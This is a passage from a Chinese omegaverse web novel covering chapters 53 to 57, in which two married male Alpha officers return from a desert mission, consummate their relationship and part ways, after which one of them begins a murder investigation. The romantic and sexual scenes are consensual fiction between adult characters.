搞得周观逸有些恍惚,也有点担心……因为萨奥3号踉踉跄跄的。季长岁在里面咬着牙,表情略显狰狞,嘴里在暗骂:“谁搞的这东西,这是给人开的吗,连个助力泵都没有!” “是我妈?”季长岁问。 “是的……”视频对话那边是韩瑞,“总之,你们都没事吧?伤亡情况怎么样?真是没想到情况这么复杂,我们疏忽了,对了,季警官,你返回昶州之后稍做休息几天,然后需要返回桃榔,杨局长对此次行动非常…呃、非常不满,他要求你尽快回去。” “好吧。”季长岁点点头。 视频通话挂断后,季长岁向直升机下面看。 刚好日出,太阳的金光落在沙漠里,今天起了很大的风,亮晶晶的沙子在半空翻飞着。他印象中,沙丘就是这样经年累月被大风堆起来,沙子会将过去一切掩埋。 就好像什么都没发生过,做梦一样。 “季警官,周长官。”前座的小伙子递过来两包饼干和矿泉水,“垫一垫肚子吧,还有五十多分钟。” “谢谢。”季长岁接过来。 周观逸在跟总军区通话,刚刚挂断,从他手里拿过饼干和水,先拧了矿泉水喝。然后说:“他们很震惊萨奥3号居然还能用,说你不愧是季上将的孩子。” “啊……”季长岁被夸了一下,有点不好意思,说,“还好,是它设计的比较耐用,就是太费劲了,起码装个压力助力泵吧,我要是个发动机,在里边都爆缸多少次了。” 周观逸笑了笑:“辛苦了,警官。” “……没没。”季长岁撕开饼干,捏一片塞进嘴里,边嚼边说,“你也辛苦了。” 说完看了他一眼,有点遗憾,没看见周观逸在帐篷里一人解决十几个守卫的过程。季长岁补充:“那把Ak来得很是时候。” “没有,驱动萨奥3号才是最关键的点。” “好了不要再互吹了。”季长岁笑起来,然后被饼干碎屑呛着了,“咳咳咳咳咳……” “哎。”周观逸手忙脚乱地先拍他后背又给他递水,水拧开递过去才发现他开的是自己刚喝过的这瓶。但季长岁没管,拿过去就灌了几口。 “陶诚能活下来吧?”季长岁顺下去水。 “能。”周观逸点头,“生命体征稳住了,要恢复一阵子,其他人也是,都是被猝不及防拉进了斗兽场里。” “他们为什么会从防守位置进去马戏团?” “收到了假的求救信号。”周观逸说,“以为是我们俩发过去的,正好我们掉下去的时候通讯器,包,什么都甩出去了,一直没有回音,他们才全都进来支援,结果……就这样了。” 季长岁叹气,拧开自己这瓶水:“算了,没死人就好。” 说到死,他又蹙眉:“希拉斯那个蝴蝶究竟是什么东西?” “不知道,带回去研究吧。”周观逸说完,补充,“由我带回总军区的实验室,不留在昶州。” “我理解。”他点头。 直升机舱里轰隆隆的很吵,尽管被前座小伙子用结界异能隔绝了一部分让他们可以跟各自领导通话,噪音还是蛮大的。 季长岁以为他不会听见,刻意比较小声地问:“你要……回去了吗?” 周观逸起先没回答,也没动。季长岁以为他没听见,刚要作罢,不再多问,闭眼稍微休息一下时,忽然被周观逸抓住了手。 他转过头,见周观逸的喉结非常明显地滚了一下。 季长岁没做多想,立刻翻手跟他十指相扣住。 第54章 第54章燃烧着。 返回昶州的后半程路途,除了切换交通工具,大部分时间里季长岁都和周观逸脑袋靠着脑袋睡觉。 睡眠是人类最好的疗愈方式,精神上躯体上都是,异能者也不例外。 辗转回到昶州已经日薄西山,季长岁下车后没能第一时间分辨那是日出还是日落,手上没有能看时间的东西。不过很快,看见人行道上地铁站出口走出一群半死不活拎着公文包的人,脸上颓丧神情像引爆公司失败铩羽而归,他知道了现在是下班时间,于是得出此时是黄昏。 “谢谢啊。”周观逸跟开车的小伙子道谢,“你路上慢点儿。” “哎好好。”小伙子连连点头。 季长岁伸了个懒腰,他们的公寓要再往前过个十字路口,这条街上有个24小时便利店,抓捕赵胜那天收工回来,季长岁在便利店里买的外伤涂抹药。 现下看着那间亮着灯的便利店,竟觉得恍如隔世。 “饿了。”季长岁的视线挪到周观逸脸上。 “我做饭?”周观逸试着问。 他知道自己做饭难吃,所以紧急补充:“煮火锅,我有火锅底料,冰箱里有食材,不会太……” “没事,”季长岁打断他,“你做饭吧,我吃。” “做成什么样都吃。”季长岁也补充。 季长岁这话是真心的,虽然说周观逸的厨艺确实有一种吃下去不晓得能不能活到第二顿的危险性,但季长岁依然是真心的。 他想吃周观逸做的饭,不管那个东西是不是饭能不能吃,在不在普世世界观的“饭菜”范围以内。 “放心。”周观逸拍拍他后背,“怎么看着你英勇就义似的……先去便利店吧。” “我真的吃!”季长岁伸胳膊拦了拦他,“没开玩笑,不用买便利店的。” “买点饮料。”周观逸说。 身上的衣服在军用机场换上了制服,季长岁说先回家洗个澡收拾一下。其实不需要收拾什么,手机在军用机场拿到了个新的,他当时脑子一抽,跟周观逸说,新手机啊那你把我新微信加上吧。 周观逸的表情变化相当精彩,导致季长岁此时此刻在卫生间里抓脑袋,无声狂叫……什么玩意什么新手机新微信,微信又不会因为换一部手机就换一个账号。 他挠了一阵头发后,撕下生物贴丢进垃圾桶,开始洗澡。 季长岁每年都会有那么一阵子离开桃榔去往其他地区做战力支援,他是个很不错的狙击手,身手卓绝的格斗大师,没什么脾气,连给他安个Alpha老公都可以。 这位丈夫腰上缠着围裙,拿着一根温柔的木勺正在搅动他的火锅底料。还是底料好啊,兑水煮开,放肉放菜,最安全的烹饪方式能够做出总分永远不低于65的料理。 所以季长岁自行开了他家门站到玄关,便看见他一脸忧愁地坐在餐桌边搅着他的火锅。季长岁苦笑:“你是把敲门声屏蔽了吗?” “喔。”周观逸恍然回神,坐直,“我…发呆了,没听见。你买了蛋糕?” “嗯。”季长岁换上拖鞋进来,那是个挺大的蛋糕,他洗澡前下单的,洗完澡吹头发换好衣服刚好送到。他想了想,把蛋糕拎去厨房:“放冰箱吧,先吃饭。” 周观逸的冰箱很有幸福感,虽然说可能出发去行动之前放进来的水果已经微微变质,但可以看出来周观逸有好好把它们一个个封装,甚至以颜色从浅到深排序。 餐桌上火锅咕嘟嘟地沸腾着,周观逸递过来一条围裙:“要吗?” “好。” “门锁上了没?” 季长岁刚要坐下,立刻直起身来到门口扶了一下:“锁了。” 土豆和宽粉提前放进去了,整个客厅充斥着牛油辣锅的香味。夏夜开空调吃火锅有一种奇妙的安稳感觉,周观逸中指屈起压在易拉罐面上,食指滑进拉环下方,拽开拉环。无糖可乐倒进季长岁的冰杯里,季长岁小声说了句谢谢。 这顿饭吃得很安静,但其实两人各自都有些话想聊,可又不知道从何开口。这种感觉蛮憋闷的,不上不下,说也不是不说也不是。 说了怕矫情,不说怕后悔。 “土豆熟了。”周观逸说。 “哦。”季长岁一夹,给夹成了两截。 不吉利啊,季长岁想,分崩离析啊,季长岁扼腕叹息。结果真的把这口气叹出来了:“哎……” 叹完气自己又抿住了嘴,偷瞄了下周观逸。周观逸拿了个漏勺又给他舀了出来,放进他碗里:“煮太烂了,这个锅火力有点强,我没用过,哎你——!” 季长岁直接徒手按在炉子边缘,他目的很简单,调整一下这电磁炉的火力,它只有三个档,强、中、弱,季长岁准备给它调整到“略强”这个挡。结果手腕被周观逸握住,一拎:“疯了啊,不烫吗?!” “机器烫不到我。”季长岁有点无辜,也有些被吓到,因为周观逸语气挺凶的。 “那也不行。”周观逸松开他,“老实点吃饭。” 季长岁闷闷地“喔”了声,似是放弃了某种决定,周观逸察觉到了,他放弃的那个决定绝对不是不再碰电磁炉,而是别的什么。 很诡异的是,蛋糕店家在盒子里附赠了一些蜡烛。蛋糕被两层盒子包装着,第一层盒子打开后,就是那个蜡烛。店家在蛋糕订单上写了提示,需要什么样的蜡烛请备注。譬如什么数字、几根这样,季长岁没有备注。于是店家赠送了……一个很可爱的,红艳艳的爱心蜡烛。 确实蛮可爱的,因为这小爱心还给装饰一对肉乎乎的翅膀,像个爱神…… “要、要点吗?”季长岁问。 “点啊,不是你买的么。”周观逸说。 “……”不是的,他不知道里面还有这个东西,但季长岁并不想否认,“嗯。” 蜡烛点上的时候关了灯,不知道该由谁来许愿,两个人就这样呆呆地坐在餐桌两边看着它燃烧。 一簇小小的,在空调风里左摇右晃的火苗,奶油蛋糕散发着清甜的香气,上面铺着一层漂亮的芒果粒和黄心奇异果,果香和奶油香里掺着些蜡油味。非常适合有一个人过生日。 于是季长岁问:“你生日是几月几号?” 周观逸回答:“10月5号,你呢?” “今天几号?”季长岁问。 “5月30号。”周观逸答。 “今天……”季长岁停顿了下,“我们结婚一个月了。” 那么这就是结婚纪念日蛋糕了。这么决定之后,季长岁抄起了刀:“你要哪半边?芒果还是奇异果?” 回答他的是一个吻。 周观逸站起来撑着桌面,蜡烛在他们之间跳着,他站起来后左手按住餐桌,右手托起季长岁下巴,低头吻了下去。 那根爱心形状的小蜡烛持续燃烧着,昂首挺胸地燃烧着。 第55章 第55章他们礼貌地先戴上止咬器…… 接吻。首先是嘴唇相贴,贴住时轻柔地摩擦,去感知自己吻的那个人嘴唇上的温度、湿度,其次体会着对方是紧张还是享受,羞赧还是有所渴望,最后周观逸犹豫着要不要伸舌头时……发现自己已经本能地探了过去,行为的优先级越过思维,在季长岁的口腔里翻搅。 深吻会有声音。首先是嘴唇刚贴过去时下意识屏住呼吸,有短暂的安静,这段安静的时间他们能听见蜡烛上火焰在“嘭”着空气,能听见彼此的心跳。接下来是紊乱的呼吸,一边不想退开对方的吻,一边又有着对空气最基础的需求,所以乱七八糟地在呼吸,凌乱又急促。最后是唇舌揉磨出的水声、吞咽声,压在嗓底的哼声和喘声。 深吻在结束时,往往双方都需要一小段时间来适应消化。 通常表现为,眼神迷离充满雾气,如果是这样昏暗的环境,黑漆漆的客厅只靠一根弱小但坚强的蜡烛来提供照明,那么事情会更加……季长岁舔了舔嘴唇,混合着两个人的味道。生物贴已经压不住他们的信息素,从黏合缝隙中溢出来1.36%契合度的Alpha信息素味道。两种草本植物信息素如有实质地在空气里缠绕、相互纠结。 他们注视着对方,在烛火里,蛋糕前,这“不亲一口说不过去”的氛围里真的亲过之后,完全不知道接下来要怎么办。 书里没教啊。 “我……”周观逸的视角比较高,所以他看着的季长岁微微抬头,整个下眼眶在橙色烛火的映照里是偏暖的粉色,“我……两天之后,动身回总军区。” 季长岁点头,说:“我大概也是在这个礼拜回桃榔了。” 虽然说现代社会在地理意义上很难有永远分离这个概念,只要是科技和交通所能触及的地方,人和人想要见面,没有太大的阻碍,即便是总军区服役的军官也是有假期,他们没有拿人当机器来用。 可是好像在面临分别的瞬间,眼睛里和意识就只有分别。 “好。”周观逸说话的声线有些打颤,他控制不住,“我回去后可能没办法立刻申请到婚假,但我会尽量……” 这张餐桌的尺寸不大,适用于2至3人小家庭,管理局配备家具时也知晓他们都是单身独居,所以从成本上考虑,选择了这种小尺寸长餐桌。所以季长岁可以站起来、凑过去,再次吻他。 对方发起的吻和自己主动的吻是两种感觉,很神奇,同样是接吻,接吻对象也没变,但就是不太一样。 季长岁非常重又快速地在他嘴唇上亲,然后退开半步,他们都是高阶异能者,在照明不佳的地方,视野不会有太强的限制。季长岁中指和食指并着在蛋糕侧边,指腹剐下奶油,伸进周观逸嘴里。 季长岁看着他把拿团奶油吃下去,问他:“做不做?长官,我可以回家拿套。” “……”周观逸觉得非常可怕,可怕的点是,他意识到自己其实很期待季长岁说这句话。 季长岁又剐下来一团奶油,这团他塞进自己嘴里了。绵软香甜的奶油,还是凉的,周观逸家客厅空调开得很低。季长岁咽下去这结婚纪念蛋糕的奶油,笑了下,说:“我晚上外卖买抑制贴,凑单买的,是的我可以凑其他东西……剩下的别问了,现在我需要你回答我。” “做。”周观逸点头。 还是有点紧张的,季长岁扭头向门口走的途中,第一步就被椅子腿儿绊了一下,踉跄后快速稳住,保持着相对平稳冷静的步伐走去门口,开门、离开。 他晚上洗澡前点了两个外卖。一个是蛋糕,另一个是便利店。因为回来之后才发现卫生间里的抑制贴就剩下一片,也就是今晚换上后明早没得换了,他在最近的便利店下单……鬼使神差的,在凑单推荐里……选择了安全套。 周观逸的卧室和季长岁住的那件构造一样,他们吹掉蜡烛,月光和室外光源像是不敢进来,幽幽地落在客厅那边的地板上。 季长岁火速回来后反锁了门,动作急躁得像个处男好吧他确实是个处男,接着他以近乎擒拿的姿态捉住周观逸睡衣的领子,把他往卧室门板上推。 一个热切得发烫的吻迎面扑过来,季长岁流氓一样两根手指夹出一片安全套,就那只夹着套的手,拇指和食指去周观逸后颈撕了人家的抑制贴。 信息素失控的现场大概就是这种浓度,季长岁撕了他的然后撕掉自己的,两股按捺许久的Alpha信息素如挣脱枷锁疯狂奔向对方。那可怜的1.36%如果是Alpha和omega,甚至和Beta的隐性信息素的匹配度低成这样的话,那么医院信息素科室都要先给他们做精神测了——估计这两个人都不晓得“结婚”是什么。 可偏偏他们是两个男性Alpha,连基础性别都不具备世俗意义上的“吸引”,就这样产生了奇迹般地1.36%契合度。 “慢点。”周观逸没忍住笑了下,他是哼笑,从喉咙下方一些的位置发出来的声音,明明是年纪比较小的那个,却意外地更冷静,“警官,没经验的话要不要换我来?” “闭嘴。” 周观逸这么说,是因为面前这位带着萨奥3号巨型作战机甲破土而出的高阶异能者……他没解开周观逸睡衣最后一颗纽扣。并且他不敢生扯,怕周观逸生气。 季长岁解开了,边剥边把他往卧室床上推。 他们有两天假期,后天到管理局开会,所以明天不必早起。卧室里信息素的浓度甚至远超生理期,这是第一次做-爱的迹象,当Alpha意识到自己将迎来与伴侣的“初次”时,信息素浓度会达到前所未有的巅峰。 曾有学者认为这是“爱”的数值化。 不过这个理论最终没能成立,因为更多人反驳的理由是,那只是一些固定的“动物性”表达而已,信息素、荷尔蒙、多巴胺、肾上腺素的综合表现。似乎有部分人觉得“爱来爱去”是浪费时间的,譬如有人直接发邮件询问那位学者:你没有其他东西好研究了吗? “周观逸。” “嗯。” “你快把床单揪烂了。”季长岁说。 “那你别摸了。”周观逸快撑不住了,处男和处男之间确实难分伯仲,譬如他只是被季长岁用手,就已经快喷了,“季长岁你信息素侵略性太强了,你得收……啊。” 果然不妙,周观逸对自己的预判是正确的。 处男不经折腾,也算合理。季长岁给了他点时间去缓神,他们维持着一上一下的姿态,然后季长岁俯下去慢慢吻他。 结婚一个月才开始第一次的伴侣有些磕绊,第一次的爽感在心理上更多。 季长岁礼貌询问他这样会好一点吗或者可以再进一些吗以及…… “我可以咬你吗?”季长岁趴在他后背,面前就是Alpha的腺体。 在这种状态下他能忍住不直接一口咬上去已经是相当的克制力,上一次咬了周观逸满脖子是因为过盛的生理期,这次他生生咬着自己的牙,又问:“我可以吗?” “可以。”周观逸相信现在无论季长岁想要做什么他都会点头说可以。尤其他后一句询问的是“我可以吗”,主体是季长岁本人,他现在没有理智,愿意允许季长岁做任何事。 然而Alpha的腺体天生不适合被咬。 这是物种带来的基础设定,不同于omega更适合在做-爱时接收伴侣的信息素,Alpha的腺体即便在发情期也是乖乖埋在皮肤之下,甚至连泛红都少见。 季长岁咬下去的瞬间,周观逸瞳仁颤动了两下。 太痛了……并不是纯萃的痛感,是酸痛,像是手肘外侧关节哪里的酸筋被撞到。 酸痛、发麻、几乎痉挛。 周观逸叫得不太对劲,季长岁又处于理智和混沌交替上线的情况。他想松开嘴,但又控制不住自己。 像只野兽。 “对不起。”季长岁挪开嘴,慢慢把他翻过来,“……对不起……我没忍住,我……” “没事没事。”周观逸喘了几口,“没被咬过不知道是这种感觉。” “抱歉。”季长岁摸摸他脸,他是真的满眼愧疚,“我之后忍着点。” “嗯。”周观逸捉过他手,在他掌心亲了亲,“继续。” 有点笨拙的两个Alpha在第二次洗澡后交换了位置,此前季长岁其实并不理解为什么已婚Alpha的生理期假可以高达七天,现在他懂了。 大概原因是……做不够。 本来就是体能相当好,加上自己没有经验所以不知道原来这种事情是这么让人痴迷。 在浴室里的第二次周观逸要求交换,淋浴房那个小小的空间更是把所有信息素压在两人身上,不分你我不分彼此。周观逸把他推在玻璃上压着的时候,眼睛在水雾里盯着他的后颈。 “……啊。”季长岁不常喊痛。 “原来真的忍不住。”周观逸后知后觉。反应过来的时候,已经咬过了。 所以再回床上后,他们礼貌地先戴上止咬器。 第56章 第56章“一会儿去你家睡。”…… 蛋糕在客厅强力的空调里,奶油没有融化,不过还是有点塌了。 凌晨四点左右,临六月,天色尚暗,稍有些将醒的感觉。蛋糕很好吃,没有拿盘子也没切,两个人各拿一个勺子就这样挖着吃。 非常饿,是一种对食物有渴望感的饿。两个人都不记得做了多少次,浑浑噩噩,嘴巴凑过去就亲,手摸过去就颤栗。止咬器戴上了又扯掉,互咬两下后觉得不行还是得戴上,Alpha的腺体不经咬,全程他们互咬了也就几口,并且他们已经是相对比较温和的草本类信息素,可又因为高阶异能,导致他们两人的后颈已经隐隐有红肿发炎的趋势。 “喝水吗?”周观逸问。 “嗯。”他点头。 他们都有不同程度的喉咙沙哑、意志昏沉、头脑胀痛,类似流感症状,关节酸软那个环节还没来到。 不过快了。 周观逸接了两杯温热的水,饥饿状态吃蛋糕或许不是最好的选择,这时候去煮一锅泡面的话充饥效果可能更好。但第一蛋糕就摆在这里,第二…… “好吃吗?”季长岁舔掉自己嘴唇上的奶油,“结婚纪念蛋糕。” “好吃。” “喜欢吗?”季长岁吃得有点嘴里发腻,他不像周观逸对甜食天赋异禀,勺子刮了刮奶油,眼睛看着周观逸。 “喜欢。”周观逸闷头吃蛋糕。蛋糕胚之间夹着奶油,像在嘴巴里嚼云朵。他说完喜欢,抬头看看季长岁。 莫名的,他觉得季长岁问的似乎不是蛋糕。可是这里除了蛋糕,自己,就剩下他了。所以他在等季长岁继续问。 季长岁没有立刻说话,他抿了一点勺子上的奶油,又去喝了一大口水。 其实身体上有些不适感,坐久了……尤其是餐椅这种椅面硬邦邦的,稍微…季长岁又偷瞄周观逸,对方泰然自若,不晓得是真自若还是在硬撑。 好的,喜欢蛋糕,季长岁在脑子里面做逻辑整合。然而事实是凌晨四点、反复做-爱后,并不是一个能够整合逻辑的时机。 所以季长岁所得到的逻辑链是: 他喜欢蛋糕,蛋糕是我买的,没有我就没有蛋糕,所以他喜欢我。 即便按照他这个逻辑,周观逸的真爱可能是烘焙师。 但是管他。 “那你也喜欢我。”季长岁盖棺定论。 周观逸的喉咙差点忘记吞咽,他迷茫了下,然后笑了:“你是蛋糕啊?” 季长岁没有跟他讨论自己和蛋糕之间的逻辑关系,因为他发现在这个问题上他不想周旋试探,一点点都不想。 所以他直说了:“我们谈恋爱吧,周观逸,谈恋爱我当你男朋友,不谈的话,我继续做你老公。” 周观逸听完凝滞了,其实他身上也不太舒服……是余痛和酸,提醒着他们刚刚做过些什么,而且反复多次。 “做完了才说这个吗?”周观逸挖了块芒果,递到他嘴边去,“最后一颗芒果了,你不吃奇异果怎么还买了这个混拼的蛋糕?” “因为页面上说‘图片仅供参考’。”季长岁张开嘴吃下去。 “那我们谈恋爱吧。”周观逸说。 季长岁听见相当清晰的“咕咚”声,那块芒果好像没怎么嚼就咽了:“真的?” “我那张床不能睡了。”周观逸朝后边,卧室的方向指了指,“一会儿去你家睡。” 事实上去了季长岁那间公寓也没有睡,不过为了避免把这边的床也搞得一塌糊涂,他们选择在沙发上。 Alpha之间做-爱是灼热的,两个人散发着极具征服欲和攻击性的信息素。因为戴着止咬器而不能接吻,所以脸颊贴在一起,止咬器上的两道皮质带勒在皮肤上,他们紧抱着彼此。 可怕的是他们甚至不在生理期,周观逸忽然明白了上次季长岁说他被自己“勾”出了生理期,他们太过契合……也是体力太好。 “够了。”季长岁推开他,“真的要睡觉了,现在几号几点?” “不知道。”周观逸又凑过来亲他,他趴在季长岁身上凑过来亲他下巴再去亲喉结。季长岁差点要形成肌肉记忆条腿缠上去,紧接着自己攥了下拳恢复冷静,咬牙握着周观逸手臂把他拽去旁边,手一拍把床头柜的小夜灯拍灭,棉被拉过来盖住两个人。 “睡觉,周观逸。”季长岁厉声道,“我们还要回管理局,还有一堆事情要做。” “好吧。”周观逸在被窝里挪着贴过来,他没有即刻做什么,而是很乖巧地先找到季长岁的手,轻轻握着他的手搭在自己腰上,说,“你可不可以搂着我睡。” 季长岁中意他腰很久了,他军区服役,常年负重训练,腰线漂亮到难以言喻。即便藏在被子里看不见,用手抚摸一遍也能描摹出来。 季长岁紧紧闭着眼,将他圈来怀里,低声说:“好了长官,睡觉了。” 两个Alpha不排斥对方已经是令人欣喜,昶州市失控异能者管理局里的大部分人都觉得季长岁和周观逸和谐的婚姻是个奇迹。 此前他们无暇讨论这些“八卦”,希拉斯被关进加兹拉尔那层之后,开始有人偷偷闲聊分析。譬如今早,管理局食堂里,与往日不同,人们悠闲地吃饭喝咖啡。然后有那么一桌,几个人吃完后没着急收盘子走,脑袋凑去一块儿。 “我昨天加班,帮韩局收拾办公室,韩局叫我去粉碎个文件,你们知道是什么吗……” “什么什么。” “周长官和季警官的婚姻撤销申请书!粉碎了!不撤销了!” “哦哟——?” “这说明什么?是不是可以铁真爱了?” “两个……Alpha吗?” “可是我听说,Alpha之间不能咬的……”这个小警员说到“咬”的时候用了气音,毕竟是公共场所,畅聊那事儿终归有些虚,“……听说omega之间怎么咬都没关系,Alpha的腺体没有承受能力的……” “哦…”他对面的警员跟着点头,“是的是的,我印象中也有这个概念,那周长官和季警官岂不是……柏拉图?” “嘘!嘘!!”有人瞄到食堂门口正走进来的两个人,“快闭嘴!!” 季长岁先看了眼表:“我去拿个面包先上楼了。” 周观逸点头:“要咖啡吗?我一会儿给你送去一杯。” 食堂这边的咖啡窗口不知是机器运转不佳还是什么,总之做得很慢,季长岁没空在这儿等,他说了个“好”,朝他笑了下,去面包货架那儿了。 周观逸早上没什么事了,他只需要去实验楼拿上从希拉斯那里搜查到的所有“起死回生”蝴蝶粉末,并于今天夜里离开昶州。 季长岁对分离没有那么强的怅然感觉,或者应该说目前还没有感受到,可能此前两天做得实在太猛,导致他甚至需要一阵子时间去消化消化。 他在韩瑞这儿坐下,还有几个长官已经在等了,他们互相点头打招呼。不多时,韩瑞脚步匆匆,两只眼睛跟煤球似的,不晓得熬穿了几个晚上熬出来的黑眼圈。 季长岁看了看他,没说话。 “坐、都坐。”韩瑞说。 “已经都坐下了。”一位长官提醒他,“韩局您……您还能行吗?” 季长岁看着他那脸色也想说,要不你去里头那屋子里睡个半小时再开会吧。韩瑞一摆手:“没问题,完全没问题,来,坐。” ……都坐着呢。 总之韩瑞已经陷入他自己的世界了,他把手里一堆文件放下,自己拉开椅子,先豪饮一杯浓茶:“希拉斯让人起死回生的东西,实验楼已经得出结论,这个暂时按下不表,是一些生物病毒,这不重要。重要的是我接下来要讲的——” 韩瑞看向季长岁:“希拉斯、加兹拉尔、唐枯木,这三个人我们必须暗中处决掉,一个都不能留。” 季长岁没表态。 韩瑞接着说:“他们在利用生物病毒建立他们自己的宗教,这个宗教以‘时间之神’为依托,它能够在近些年迅速成长、发展信徒,是因为希拉斯真的能在众目睽睽下做到让死人再活过来这件事。” “所以那其实是病毒?”有人询问。 “对。”韩瑞点头,“这就是为什么当初7044号死刑犯越狱后非常快速就被抓了回去,他其实根本没跑远,当时加兹拉尔就在昶州附近,7044快死了,所以他要去找加兹拉尔续命,用这个东西。” 季长岁有印象,当时7044的基因在实验室里做培育预演,没一会儿就死了。 “那唐枯木?”季长岁问。 “我正要说。”韩瑞看向他,“唐枯木一直在‘死亡’中。这个东西……这个概念有点复杂,我们原本打算申请对唐枯木做活体实验,因为实验楼怀疑他体内充斥着那‘蝴蝶’病毒,可是……我们还是决定秘密处决,免得夜长梦多。” 季长岁之前不同意处决唐枯木,事到如今,唐枯木不得不死,他能理解也愿意接受。不过他说:“让我先见见他。” 韩瑞似乎料到了:“可以是可以,但你必须在管理局4位高层领导的陪同下去见他,全程录音录像,你不能阻止这些设备运行。” “没问题。”季长岁很轻松地笑了下,“只是几个简单的问题。” 从韩瑞那儿离开后,周观逸一直等在走廊,把咖啡递给他。 他接过来后在周观逸侧脸亲了一口:“谢了。” 季长岁询问的简单问题只有三个。唐枯木也都如实作答。 而他这三个问题让管理局领导觉得很荒谬,甚至不理解。 第一个问题是,你当年知道加兹拉尔想要利用我去解决掉柯帆吗——你们这个教会创立初期被柯帆认为是邪教,他还差那么一点点就要查清了。 第二个问题,柯帆死前告诉我,要克制,所以你一直都知道,我从本质上是个“格斗失控者”对不对? 第三个,柯帆死时,你没有用你的“小蝴蝶”去救他,是为了让我余生都活在随时失控的恐惧感里,再挑个时机将我纳入你们的教会,是吗? 唐枯木依次回答。 是的,柯帆差点带人把他们清剿了。 是的,你的基因报告我们研究过很久。 是的,你可以驾驶萨奥3号,有了那个战争怪物,我们将无畏无惧。但我们不能用常规的毒品来控制你,你必须思维清晰、异能干净,所以我们希望通过长时间的意志腐蚀来吸纳你。 季长岁点头,从椅子上站起来,拿着他的咖啡:“我问完了,所以柯帆是牺牲品,你们的一颗弃子,杀我老师真正的凶手。” 唐枯木一双浑浊的眼睛看着他:“不,是你打……” 季长岁已经走了。 当夜,周观逸换上军官制服,手里拎一个上了锁的生物运输箱。 返程的时间是机密,但可以告知伴侣,所以季长岁来送送他。 昶州的货运码头今天封闭,原本堆放集装箱的地方被清空,偌大一片空地上停三架直升机,围一圈军用装甲车,每辆车上顶着三支炮筒。 季长岁穿得很随意,一件连帽卫衣和牛仔裤。六月初夜里海边的风冷飕飕的。 周观逸必须全程自己拎着这只箱子,不可交给任何人,所以他只有一只手伸过去跟他拥抱。 氛围并不压抑,两个人脸上都是微笑着。“我先走了。”周观逸说,“回去后我给你发微信。” “好。”季长岁抬着手,四面八方都是军人,他选择拍拍周观逸的胳膊,“路上小心。” “放心,老公。”周观逸说。 “……”季长岁看看旁边目不斜视的那些军人,不晓得是他部下还是什么,“好好,行了快走吧。” 第57章 第57章“想你了。” “季警官早啊。” “早。” “早,警官,昨晚的任务报告我刚刚发您邮箱了。” “好的,辛苦。” “季警官,下午两点半的会议取消了,因为奚警官和郭警官被台风滞留在鹭州了,最快要明天下午才能回。” “噢……那边夏季台风对吧?” “对的。” “好,谢谢。” 一路就这样走回办公室,坐下后打开电脑,瞄眼手机,没有新消息,再点开邮箱处理工作。 桃榔在夏天也会受台风影响,不过台风对这边的影响只是一些降雨降温,盛夏里反而让人舒服。今天就稍有些凉意,也下了雨,市局楼下的结界异能者在给每个出去做巡查的警员身上添加实效为12小时的防雨结界,还有他们的警用摩托。季长岁看完邮件后把自己的任务报告跟这条合并了一块儿上传,是昨晚巡查时候碰上的突发情况。 昨晚出去巡查到后半夜,有人在露天酒吧闹事,有个低阶异能者砸了调酒台的柜子,原因是他觉得酒吧乱收费,比超市里的酒贵出30倍。这本不是什么大事,闹事的拘留乱收费的等监管来查,可偏偏那个异能者砸开冰柜后,冰柜里有半截人类尸体。 季长岁当时眉毛一拎。又因为是突发情况,所以大家干完活每个人都要交一份报告。 他合上电脑离开办公室,揣上手机端上咖啡,去审讯室。昨天半夜值班法医不巧吃坏肚子去了急诊,今天上午另一个法医刚赶过来,尸检要等上一阵子,他先去看看嫌疑犯审得怎么样。 审犯人这事儿在早前几年就开始提倡并落实人性化合法化,犯人也是人,不能动辄来两下子叫人招供。 话虽如此,理是这个理,但有时候警察也是人,尤其碰上那种特别畜生的嫌犯,好比前些年抓了个残害未成年的,手段骇人,不踹两脚实在能给人憋出毛病。 不过好在上有那啥下有这啥,不让动手那就不动手呗。 就熬,那几个人抓回来后关去审讯室,24小时强光打着不准睡觉,酒吧的老板、合伙人、闹事者分开审,空调开18度。季长岁进去的时候,警员递给他一条毛毯建议他盖在膝盖上。 季长岁有点莫名其妙,迈进门里后又转身走出来,警员以为他见识到了这冷气的强度,笑眯眯地又举起毛毯。 结果季长岁表情纠结又无奈:“凭什么我办公室开18度跟单纯送风一样,审讯室空调就这么猛,搞我啊?” “……”警员抿着嘴巴摇头,表示自己不晓得。 这件审讯室里是酒吧的老板,出资最大的股东,姓郝,大家都叫他郝老板。 “郝具生。”季长岁在他对面坐下,看看他,看看手里平板电脑里昨天一夜他提供的信息,“你说你很少去开调酒台下边的冰柜,每天冰柜消毒单签字只是糊弄一下顾客和卫生检查。” 那边自然是点头对对对地应着。即便是在冰柜上查到了他的dnA或指纹也不能作为最强力的证据,他完全可以说自己开冰柜的那几次,里边是正常的。并且这个郝老板的证词看似模糊不清实则都是对自己有利,用了一些“很少”“记不清”“酒吧里得罪人可真是太常有了”这些信息。 郝具生说:“我都交代了,真的,警官,我……我一个开店的,我杀人干嘛呢是吧。” 季长岁则点点头:“确实,而且还给剁两截儿。” 郝具生快哭了:“是啊是啊,我…你看我这都五十几了,骨质都疏松了怎么剁人家啊……” 季长岁又看看郝具生:“嘶,感觉你有点儿眼熟啊。” “什么?” “可能记错了。”季长岁站起来,又看看他,离开了。 留郝具生在里面莫名其妙。他以为这警官进来将会是一场鏖战,结果就这样走了。 “像是他。”季长岁在刑侦队长办公桌旁边,没坐,又看了眼手机,周观逸还没回微信,收起来,“但是过去太多年了,我印象不深,不能打包票。” 刑侦队长姓孟,孟队拧着眉毛:“如果说郝具生真的是柯警官妻子的下属……这事儿,哎……” 季长岁默默耸肩:“没办法啊,孟队长,事儿就这样欠一块儿去了。” 查是必然会查下去,这是命案,只是牵扯到前同事家属了,让孟队觉得烦躁。他“啊”了一声往椅背上倒,两眼无神又绝望,季长岁笑着拍拍他肩膀说:“加油啊加油,有需要帮忙的叫我。” 再看眼手机。还是没有。 总军区军官要上交手机的情况是有,不过周观逸之前说,交手机前会给他发个信息告知,所以目前的情况是手机在身上,但没时间看。 季长岁走在市局大楼里,反复叮嘱自己别像个毛头小子,半天联络不上人就急不可耐恨不得打两百个电话过去……然后他手机响了。 来电人是同事,接起来后同事告诉他法医那边出了报告。季长岁的记忆力很不错,昨夜兵荒马乱,在发现尸体时郝具生并不在酒吧里,出事后他匆匆赶过来时跟季长岁打了个照面。当时太忙,季长岁只觉得似乎在哪儿见过这个人。 机械异能者的大脑像个电脑,他能够像调看监控那样看自己的记忆,不过有时候镜头一扫而过难免模糊。所以他没法确定。 